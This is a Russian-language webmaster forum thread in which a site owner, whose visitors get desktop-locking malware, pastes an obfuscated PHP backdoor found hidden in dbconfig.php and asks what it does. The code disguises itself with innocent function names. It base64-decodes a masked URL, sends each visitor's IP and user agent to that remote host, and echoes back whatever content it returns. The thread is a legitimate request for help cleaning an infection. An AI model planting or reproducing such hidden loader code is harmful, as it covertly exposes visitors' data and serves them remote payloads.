Вирус блокирует рабочий стол пользователям

12
forest25
На сайте с 12.09.2009
Offline
67
#11

https://www.virustotal.com/url/1841201f057e4bb8fa697a708276db155350d0a39d7a07f9e89ba6549988ce48/analysis/

Яшка задетектил что-то подозрительное

Попробуйте убрать рекламу от adsua.com которая подгружается в iframe'ах

VPS 512MB 20GB SSD KVM - 5$ (http://u.hmdw.me/digitalocean) | ИМХО о хостингах (http://u.hmdw.me/hosting)
N
На сайте с 08.04.2008
Offline
90
#12

Прошу меня простить, а также мою не внимательность. Перепроверил опять.

Когда переносили, не заметил скрипт в dbconfig.php

function showall($id) {

$id = intval($id);

$rtn = $id + date("j");

return $rtn;

}

function sql_safe($in) {

if (showall(64) < 1024) {

$rtn = base64_decode($in);

return $rtn;

}

}

function collectnews($newsid) {

if (date("j") - $newsid > 320 ) {

$rtn = false;

} else {

$get = sql_safe("************************************")."?br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);

if (!isset($_COOKIE[sql_safe("**************")])) {

echo @file_get_contents($get);

}

}

}

collectnews (date("j"));

Подскажите, этот скрипт что-то может записать в базу? И какие его действия?

nevsedoma.com.ua (http://nevsedoma.com.ua)
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий